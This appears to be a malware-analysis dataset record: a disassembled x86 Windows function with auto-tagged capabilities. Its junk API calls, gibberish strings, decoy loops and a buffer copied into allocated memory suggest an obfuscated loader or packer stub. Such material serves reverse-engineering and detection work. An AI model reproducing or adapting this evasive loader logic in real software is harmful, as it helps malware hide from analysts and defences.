Function at 0x40b190
Capabilities:
Get common file path
Get disk information
Get geographical location
Set console window title
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b751
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1074
call fcn.00409a90
mov eax, dword [0x80e030]
xor eax, esp
mov dword [esp + 0x1070], eax
push ebx
push esi
push edi
mov eax, dword [0x80e030]
xor eax, esp
push eax
lea eax, [esp + 0x1088]
mov dword fs:[0], eax
mov ecx, dword [0x2ec91cc]
xor ebx, ebx
cmp ecx, 0x7c
jne 0x40b24d
push ebx
lea eax, [esp + 0x18]
push eax
push ebx
lea ecx, [esp + 0x488]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
lea eax, [esp + 0x880]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x2ec91cc], 0x2d
jne 0x40b235
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x80ce38
push 0x810870
call fcn.00401121
mov ecx, dword [0x2ec91cc]
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor eax, eax
mov dword [esp + 0x14], eax
nop
cmp ecx, 0x8cf
jne 0x40b2a6
push ebx
push str.Dixaler_giyafinera_sowohalebe_marewexe
lea ecx, [esp + 0x884]
push ecx
call esi
push ebx
lea edx, [esp + 0x80]
push edx
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x5c]
push ecx
lea edx, [esp + 0x5c]
push edx
push ebx
lea eax, [esp + 0x494]
push eax
push ebx
call edi
mov ecx, dword [0x2ec91cc]
mov eax, dword [esp + 0x14]
cmp eax, 0x162
jne 0x40b2bf
mov ecx, dword [0x80fd74]
add ecx, 0xa231
mov dword [0x2ec91cc], ecx
cmp ecx, 0x141
jne 0x40b2db
mov dword [0x8108f8], 0xec58acac
mov dword [0x8108fc], 0xffffffff
inc eax
cmp eax, 0x129916c
mov dword [esp + 0x14], eax
jl 0x40b260
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x562d05
jne 0x40b304
mov edx, dword [0x80ef58]
mov dword [0x2ec91d0], edx
cmp ecx, 0x3c
jne 0x40b31a
push str.korehodenodavaliwacezopujusenuhi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov ecx, dword [0x2ec91cc]
inc esi
cmp esi, 0x5f6c74
jl 0x40b2f0
cmp ecx, 0x110a
jne 0x40b4c6
push ebx
push ebx
mov dword [0x2ec9098], ebx
mov dword [0x2ec909c], ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push ebx
push str.hojigagenidahekacoxanogajivupudujomagebalokowac
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.kelugunilexe
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea eax, [esp + 0x54]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.00401347
push ebx
push ebx
call fcn.00401347
push 4
call fcn.00401619
add esp, 0x14
cmp eax, ebx
je 0x40b394
lea ecx, [esp + 0x30]
mov dword [eax], ecx
jmp 0x40b396
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
push 4
mov dword [esp + 0x1094], 1
call fcn.00401619
add esp, 4
cmp eax, ebx
je 0x40b3c7
lea edx, [esp + 0x18]
mov dword [eax], edx
jmp 0x40b3c9
xor eax, eax
mov dword [esp + 0x18], eax
push ebx
push ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.00401347
push ebx
push ebx
call fcn.00401392
push ebx
push ebx
push ebx
call fcn.0040121c
mov eax, dword [esp + 0x40]
add esp, 0x1c
cmp eax, ebx
je 0x40b439
mov esi, dword [esp + 0x28]
cmp eax, esi
je 0x40b430
lea edi, [eax + 0x18]
cmp dword [edi], 0x10
jb 0x40b416
mov eax, dword [edi - 0x14]
push eax
call fcn.00401387
add esp, 4
mov dword [edi], 0xf
mov dword [edi - 4], ebx
mov byte [edi - 0x14], bl
add edi, 0x1c
lea eax, [edi - 0x18]
cmp eax, esi
jne 0x40b405
mov eax, dword [esp + 0x24]
push eax
call fcn.00401387
add esp, 4
mov ecx, dword [esp + 0x18]
push ecx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.00401387
mov dword [esp + 0x1094], 0xffffffff
mov eax, dword [esp + 0x40]
add esp, 4
cmp eax, ebx
je 0x40b4a7
mov esi, dword [esp + 0x40]
cmp eax, esi
je 0x40b49e
lea edi, [eax + 0x18]
cmp dword [edi], 8
jb 0x40b481
mov edx, dword [edi - 0x14]
push edx
call fcn.00401387
add esp, 4
xor eax, eax
mov dword [edi], 7
mov dword [edi - 4], ebx
mov word [edi - 0x14], ax
add edi, 0x1c
lea ecx, [edi - 0x18]
cmp ecx, esi
jne 0x40b470
mov eax, dword [esp + 0x3c]
push eax
call fcn.00401387
add esp, 4
mov edx, dword [esp + 0x30]
push edx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
call fcn.00401387
mov ecx, dword [0x2ec91cc]
add esp, 4
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor ecx, ecx
mov dword [0x2ec8eec], eax
cmp dword [0x2ec91cc], ebx
jbe 0x40b51b
mov edx, 0x19b0
mov eax, dword [0x2ec91d0]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov al, byte [eax + ecx]
mov esi, dword [0x2ec8eec]
mov byte [esi + ecx], al
mov eax, dword [0x2ec91cc]
cmp eax, 0x5ab
jne 0x40b516
mov dword [0x2ec8ef0], edx
inc ecx
cmp ecx, eax
jb 0x40b4e2
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040ae80
call fcn.0040ae60
mov eax, dword [0x2ec91cc]
mov ebx, dword [0x2ec8eec]
mov esi, dword [0x80ef60]
mov edi, eax
cmp eax, 0x930
jne 0x40b55a
push str.wozekajevirifegavonetucusiva
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2ec91cc]
mov dword [0x2ec8ee8], esi
cmp eax, 0x114e
jne 0x40b57d
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea ecx, [esp + 0x54]
push ecx
push str.gavipokucohuj
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
call fcn.0040b060
mov ecx, dword [0x2ec8eec]
xor eax, eax
lea ebx, [ebx]
cmp eax, 0xbd9cb
jne 0x40b59d
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b590
mov ebx, dword [esp + 0x5c]
mov esi, dword [sym.imp.USER32.dll_GetProcessDefaultLayout]
mov dword [0x2ec8eec], ecx
xor edi, edi
jmp 0x40b5c0
lea edx, [esp + 0x87c]
push edx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
call esi
cmp edi, 0x408e
jle 0x40b5e2
cmp ebx, 0xf5bed7
jne 0x40b5eb
inc edi
cmp edi, 0x687ed2
jl 0x40b5c0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, 0x1e4165
mov edi, 0x8e46a6f0
jmp 0x40b600
cmp dword [0x2ec91cc], 0xcc1
jne 0x40b617
push 0
push 0
push 0
call sub.KERNEL32.dll_SetConsoleDisplayMode
cmp dword [0x2ec91cc], 0x7c4
mov dword [0x2ec8ef4], edi
jne 0x40b62b
call esi
sub ebx, 1
jne 0x40b600
mov ecx, dword [esp + 0x1088]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, esp
call fcn.00401112
mov esp, ebp
pop ebp
ret